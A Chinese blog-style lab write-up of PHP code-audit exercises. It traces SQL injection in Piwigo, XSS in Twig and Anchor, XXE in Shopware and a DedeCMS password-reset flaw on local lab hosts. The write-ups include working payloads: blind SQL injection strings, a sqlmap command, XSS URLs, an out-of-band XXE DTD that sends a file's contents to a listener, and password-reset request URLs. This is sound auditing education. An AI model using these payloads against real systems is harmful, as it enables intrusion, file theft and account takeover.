目录

  1. 1. 前言
  2. 2. Day 1
    1. 2.1. in_array函数缺陷
    2. 2.2. Piwigo 2.7.1 SQL Inject
  3. 3. Day 2
    1. 3.1. Twig
    2. 3.2. Anchor 0.9.2 XSS
  4. 4. Day 3
    1. 4.1. class_exists函数触发__autoload
    2. 4.2. SimpleXMLElement原生(内置)类XXE
      1. 4.2.1. 反射类 ReflectionClass
    3. 4.3. Shopware 5.3.3 后台XXE
      1. 4.3.1. 漏洞验证
  5. 5. Day 4
    1. 5.1. php特性绕过——strpos验证不当
    2. 5.2. DeDecms V5.7SP2 任意用户密码重置
      1. 5.2.1. 漏洞验证

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PHP Audit Labs

2025/6/6 Web PHP 代码审计
  |     |   总文章阅读量:

前言

项目:https://github.com/hongriSec/PHP-Audit-Labs

对实际 cms 的漏洞跟踪,本文章会侧重于在已知漏洞类型的情况下去尝试还原挖掘思路


Day 1

in_array函数缺陷

in_array 特性

此特性多见于文件名 or 语句检测中的利用

如果第三个参数不指定为 true,就可以通过构造 数字+字符串 的组合实现绕过,此时只会检测数字部分

Piwigo 2.7.1 SQL Inject

环境配置 php5,可能遇到的 mysql5.7.26 配置错误:https://github.com/Piwigo/Piwigo/issues/443

include/section_init.inc.php 开头添加一行 pwg_query("SET SESSION sql_mode = ''");

然后创建一个新相册,随便上传一个图片


接下来开始审计

这个框架实现的 sql 查询方法是 pwg_query

function pwg_query($query)
{
  global $conf,$page,$debug,$t2;

  $start = microtime(true);
  ($result = mysql_query($query)) or my_error($query, $conf['die_on_sql_error']);

  $time = microtime(true) - $start;

  if (!isset($page['count_queries']))
  {
    $page['count_queries'] = 0;
    $page['queries_time'] = 0;
  }

  $page['count_queries']++;
  $page['queries_time']+= $time;

  if ($conf['show_queries'])
  {
    $output = '';
    $output.= '<pre>['.$page['count_queries'].'] ';
    $output.= "\n".$query;
    $output.= "\n".'(this query time : ';
    $output.= '<b>'.number_format($time, 3, '.', ' ').' s)</b>';
    $output.= "\n".'(total SQL time  : ';
    $output.= number_format($page['queries_time'], 3, '.', ' ').' s)';
    $output.= "\n".'(total time      : ';
    $output.= number_format( ($time+$start-$t2), 3, '.', ' ').' s)';
    if ( $result!=null and preg_match('/\s*SELECT\s+/i',$query) )
    {
      $output.= "\n".'(num rows        : ';
      $output.= mysql_num_rows($result).' )';
    }
    elseif ( $result!=null
      and preg_match('/\s*INSERT|UPDATE|REPLACE|DELETE\s+/i',$query) )
    {
      $output.= "\n".'(affected rows   : ';
      $output.= mysql_affected_rows().' )';
    }
    $output.= "</pre>\n";

    $debug .= $output;
  }

  return $result;
}

没做其他的预编译操作直接 mysql_query

据此搜索源码中使用此查询的代码,这里搜 pwg_query($query) 来匹配,同时排除一些不必要的文件

目标是找到可控的 $query 拼接

最终锁定 include/functions_rate.inc.php

function rate_picture($image_id, $rate)

image-20250607003346936

可以看到这里 $image_id 和 $rate 均能随意注入

跟一下 rate_picture 的调用

在 picture.php

image-20250607003709621

可以看到 rate 是我们自己可控的

那么要注入的查询语句就是:

INSERT INTO '.RATE_TABLE.'(user_id,anonymous_id,element_id,rate,date) VALUES ('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW());'

于是入口在 picture.php

if (isset($_GET['action'])) {
    switch ($_GET['action']) {
            //...
        case 'rate': {
            include_once(PHPWG_ROOT_PATH . 'include/functions_rate.inc.php');
            rate_picture($page['image_id'], $_POST['rate']);
            redirect($url_self);
        }
            //...
    }
}

然后回到 include/functions_rate.inc.php

这里有一个关于 $rate 的判断

if (!isset($rate)
    or !$conf['rate']
    or !in_array($rate, $conf['rate_items']))
{
    return false;
}

$conf['rate_items'] 的内容可以在 include/config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

要求 rate 的值为其中的一个,但这里用的是 in_array,没有设置第三个参数,那么可以绕过:

1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

成功延时,于是可以上 sqlmap 盲注

python3 sqlmap.py -u "http://local.audit.labs/piwigo/picture.php?/1/category/1&action=rate" -proxy="http://127.0.0.1:8083" --data "rate=1" --dbs

注意不要跟随重定向


Day 2

Twig

Twig模板基础

这次是 xss

<?php
//composer require "twig/twig"
require 'vendor/autoload.php';
class Template
{
    private $twig;
    public function __construct()
    {
        $indexTemplate = '<img ' . 'src="https://loremflickr.com/320/240">' . '<a href="{{link|escape}}">Next slide ></a>';
        // Default twig setup,simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader(['index.html' => $indexTemplate]);
        $this->twig = new Twig\Environment($loader);
    }
    public function getNexslideUrl()
    {
        $nextslide = $_GET['nextslide'];
        return filter_var($nextslide, FILTER_VALIDATE_URL);
    }
    public function render()
    {
        echo $this->twig->render('index.html', ['link' => $this->getNexslideUrl()]);
    }
}
(new Template())->render();

$nextslide 可控,但是会过一次 filter_var 方法验证是否为 URL 协议

并且在模板渲染这里还用了 escape 进行转义:<a href="{{link|escape}}">Next slide ></a>,参考文档:https://twig.symfony.com/doc/2.x/filters/escape.html

Internally, escape uses the PHP native htmlspecialchars function for the HTML escaping strategy.

本质上是使用了 htmlspecialchars 进行转义

& (& 符号)  ===============  &amp;
" (双引号)  ===============  &quot;
' (单引号)  ===============  &apos;
< (小于号)  ===============  &lt;
> (大于号)  ===============  &gt;

针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过

javascript://%250aalert(1)

可以自行输出调试一下

echo filter_var($nextslide, FILTER_VALIDATE_URL);
echo "<br>";
echo htmlspecialchars(filter_var($nextslide, FILTER_VALIDATE_URL));

实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释

而这里使用的 %250a 在浏览器 url 首次解码后为 %0a,也就是换行符,那么就能独立执行

于是就能插入 href 中实现 xss

image-20250607090648985

Anchor 0.9.2 XSS

环境php5

接下来开始审计

测试发现当我们访问不存在的链接时,404报错模板会显示对应的链接

image-20250608010752932

此事在 Sekaictf 中亦有记载

image-20250608011151961

这里直接拼接当前的 url 并用 echo 输出,那么可以实现 xss

image-20250608011357696


Day 3

class_exists函数触发__autoload

php<=5.3

class_exists函数

<?php
class_exists("../../../../../flag");
function __autoload($classname){
    include $classname;
}

SimpleXMLElement原生(内置)类XXE

XXE

<?php
$name = "SimpleXMLElement";
$xxe = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d:/flag" >
]>	
<x>&xxe;</x> 
EOF;
$data = array("t" => $xxe, "v" => "2");
echo new $name($data['t'], $data['v']);

反射类 ReflectionClass

ReflectionClass类

public ReflectionClass::newInstance ( mixed $args [, mixed $... ] ) : object

创建类的新的实例。给出的参数将会传递到类的构造函数。

public ReflectionClass::newInstanceArgs ([ array $args ] ) : object

创建一个类的新实例,给出的参数将传递到类的构造函数。

然后看一下 SimpleXMLElement 的构造函数

final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

需要控制 $data 和 $options 参数

可以据此构造xxe

<?php
$name = "SimpleXMLElement";
$xxe = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d:/flag" >
]>	
<x>&xxe;</x> 
EOF;
$data = array("t" => $xxe, "v" => "2");

$a = new ReflectionClass($name);
echo $a->newInstanceArgs($data);

Shopware 5.3.3 后台XXE

直接全局搜 newInstanceArgs

engine/Shopware/Components/ReflectionHelper.php

class ReflectionHelper
{
    /**
     * @param string $className
     * @param array  $arguments
     *
     * @return object
     */
    public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        if (!$reflectionClass->getConstructor()) {
            return $reflectionClass->newInstance();
        }

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        $newParams = [];
        foreach ($constructorParams as $constructorParam) {
            $paramName = $constructorParam->getName();

            if (!isset($arguments[$paramName])) {
                if (!$constructorParam->isOptional()) {
                    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                }
                $newParams[] = $constructorParam->getDefaultValue();

                continue;
            }

            $newParams[] = $arguments[$paramName];
        }

        return $reflectionClass->newInstanceArgs($newParams);
    }
}

这里会实例化反射类,类名和参数均是从方法传入的

往上查看引用,总共两个引用

最终选择 engine/Shopware/Components/LogawareReflectionHelper.php

public function __construct(LoggerInterface $logger)
{
    $this->logger = $logger;
    $this->reflector = new ReflectionHelper();
}

/**
     * @param array  $serialized
     * @param string $errorSource
     *
     * @return array
     */
public function unserialize($serialized, $errorSource)
{
    $classes = [];

    foreach ($serialized as $className => $arguments) {
        $className = explode('|', $className);
        $className = $className[0];

        try {
            $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
        } catch (\Exception $e) {
            $this->logger->critical($errorSource . ': ' . $e->getMessage());
        }
    }

    return $classes;
}

查看 unserialize 的引用

engine/Shopware/Components/ProductStream/Repository.php

public function unserialize($serializedConditions)
{
    return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
}

继续向上跟进

engine/Shopware/Controllers/Backend/ProductStream.php 文件中有一个 loadPreviewAction 方法,其作用是用来预览产品流的详细信息

public function loadPreviewAction()
{
    $conditions = $this->Request()->getParam('conditions');
    $conditions = json_decode($conditions, true);

    $sorting = $this->Request()->getParam('sort');

    $criteria = new Criteria();

    /** @var RepositoryInterface $streamRepo */
    $streamRepo = $this->get('shopware_product_stream.repository');
    $sorting = $streamRepo->unserialize($sorting);

    foreach ($sorting as $sort) {
        $criteria->addSorting($sort);
    }

    $conditions = $streamRepo->unserialize($conditions);
    //...
}

这里接收 sort 参数,参数可控并传入 unserialize

那么整理出调用链:

ProductStream::loadPreviewAction
    $sorting = $this->Request()->getParam('sort');
    $sorting = $streamRepo->unserialize($sorting);

Repository::unserialize
    return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');

LogawareReflectionHelper::unserialize
    $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);

ReflectionHelper::createInstanceFromNamedArguments
    $reflectionClass = new \ReflectionClass($className);
    $newParams[] = $arguments[$paramName];
	return $reflectionClass->newInstanceArgs($newParams);

漏洞验证

接下来实际利用,在后台找到调用 loadPreviewAction 接口的位置

image-20250609183807318

这里需要选一个 sorting,抓包得到

GET /shopware/backend/ProductStream/loadPreview?_dc=1749465824004&sort=%7B%22Shopware%5C%5CBundle%5C%5CSearchBundle%5C%5CSorting%5C%5CSearchRankingSorting%22%3A%7B%22direction%22%3A%22DESC%22%7D%7D&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25 HTTP/1.1
Host: audit.labs.local
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
X-Requested-With: XMLHttpRequest
Referer: http://audit.labs.local/shopware/backend/
Accept: */*
Accept-Encoding: gzip, deflate
X-CSRF-Token: bsA8K6uFeyojwzIohShkGNQIV7IzrB
Cookie: SHOPWAREBACKEND=ba3ejnkpg5t6vlmb44udob80c5; __csrf_token-1=aqSCfTs9CGtz7A4gFvcDyf5eRl3JDs; anchorcms=NAbop97kMBZyxT19J3xvLtarkszjnUm3; session-1=fe8469fc5bcce8b6423198611b499f51061a22bd751430b78118ef196f11bfb5; x-ua-device=desktop; lastCheckSubscriptionDate=09062025
Priority: u=0

这里 sort 的格式是

{"Shopware\\Bundle\\SearchBundle\\Sorting\\SearchRankingSorting":{"direction":"DESC"}}

SearchRankingSorting 也是框架中的一个类

那么可以仿照格式传入 SimpleXMLElement 类

{"SimpleXMLElement":{"data":"http://127.0.0.1:2222/noeval.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}

无回显带出

noeval.xml

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:2222/test.dtd">
%remote;%int;%send;
]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:2333?p=%file;'>">

image-20250609191135820


Day 4

php特性绕过——strpos验证不当

<?php
class Login
{
    public function __construct($user, $pass)
    {
        $this->loginviaXml($user, $pass);
    }
    public function loginviaXml($user, $pass)
    {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<?xml version="1.0"?>' .
                '<user v="%s"/><pass v="%s"/>';
            $xml = sprintf($format, $user, $pass);
            echo $xml;
            //$xmlElement = new SimpleXMLElement($xml);
            //Perform the actual login.
            //login($xmlElement);
        }
    }
}
$user='<"><injected-tag property="';
$pass='<injected-tag>';
new Login($user, $pass);

这里试图检测是否存在<>标签

但众所周知在 php 中 0 == false,而对于 strpos 而言

(!strpos($user, '<') || !strpos($user, '>'))
echo strpos('<"><injected-tag property="','<');	// 0
echo strpos('<"><injected-tag property="','>');	// 2

那么 (!strpos($user, '<') || !strpos($user, '>')) == 0||2 == true

从而实现绕过,注入 xml

image-20250611165926962


DeDecms V5.7SP2 任意用户密码重置

既然知道是任意用户密码重置,那我们直接看 member/resetpassword.php

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

这里的 mid 通过 preg_replace 保证固定是一个数字,然后用这个 mid 去查询数据得到 row

再验证安全问题和对应的答案,注意这里是 $row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer

用的是弱比较,观察一下 dede_member 表中没设置安全问题和答案时数据库的值

image-20250611173551062

可以看到这里分别是 0 和空值 NULL,而这样和空字符串比较的值为 true

<?php
var_dump(0 == "");
var_dump(NULL == "");

image-20250611173750600

注意这里

if(empty($safequestion)) $safequestion = '';

我们要让 empty($safequestion) 不为 false,而当 $safequestion 为 0 是这里会为 true

所以这里得取既能使empty($safequestion)返回 false 还能使 0 == $safequestion 的值

测试得到可用 payload:

0.0
0.
0e

接下来进入 sn 函数

/**
 *  查询是否发送过验证码
 *
 * @param     string  $mid  会员ID
 * @param     string  $userid  用户名称
 * @param     string  $mailto  发送邮件地址
 * @param     string  $send  为Y发送邮件,为N不发送邮件默认为Y
 * @return    string
 */
function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}

这里会查 dede_pwd_tmp 表,如果没查到就会进 newmail,发送邮件至相关邮箱

image-20250611175015128

if($type == 'INSERT')
{
    $key = md5($randval);
    $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
    if($db->ExecuteNoneQuery($sql))
    {
        if($send == 'Y')
        {
            sendmail($mailto,$mailtitle,$mailbody,$headers);
            return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
        } else if ($send == 'N')
        {
            return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
        }
    }
    else
    {
        return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
    }
}

这里会插入一条记录进 dede_pwd_tmp 表,然后因为 $send 参数是 N,进入到跳转修改页的分支

通过 ShowMsg 打印出用户 id 和 md5 后的 randval,那么 url 如下:

http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval

看一下 resetpassword 的 getpasswd 方法

else if($dopost == "getpasswd")
{
    //修改密码
    if(empty($id))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    $mid = preg_replace("#[^0-9]#", "", $id);
    $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
    if(empty($row))
    {
        ShowMsg("对不起,请不要非法提交","login.php");
        exit();
    }
    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起,临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
    elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }
}

通过查询 id 是否有在 dede_pwd_tmp 表来确认能否重置密码

然后在密码修改界面将 setp 赋值为 2

image-20250611180318529

接下来就是判断传入的 key 是否等于数据库中的 $row['pwd'],如果相等就完成重置密码操作

漏洞验证

先在后台管理员启动会员功能:系统 -> 系统基本参数 -> 会员设置 -> 是否开启会员功能

然后去前台注册两个账户 test1 和 test2,如下

image-20250611182122382

现在去访问第一步的 url

http://audit.labs.local/DedeCMS-V5.7/member/resetpassword.php?dopost=safequestion&safequestion=0.&safeanswer=&id=3

奇怪的是这里 0e 不行

image-20250611183209372

记下 url

http://audit.labs.local/DedeCMS-V5.7/member/resetpassword.php?dopost=getpasswd&id=2&key=UAXiA7uP

访问修改密码的链接

image-20250611183404608

于是成功修改 test1 的密码为 aaa

image-20250611183508659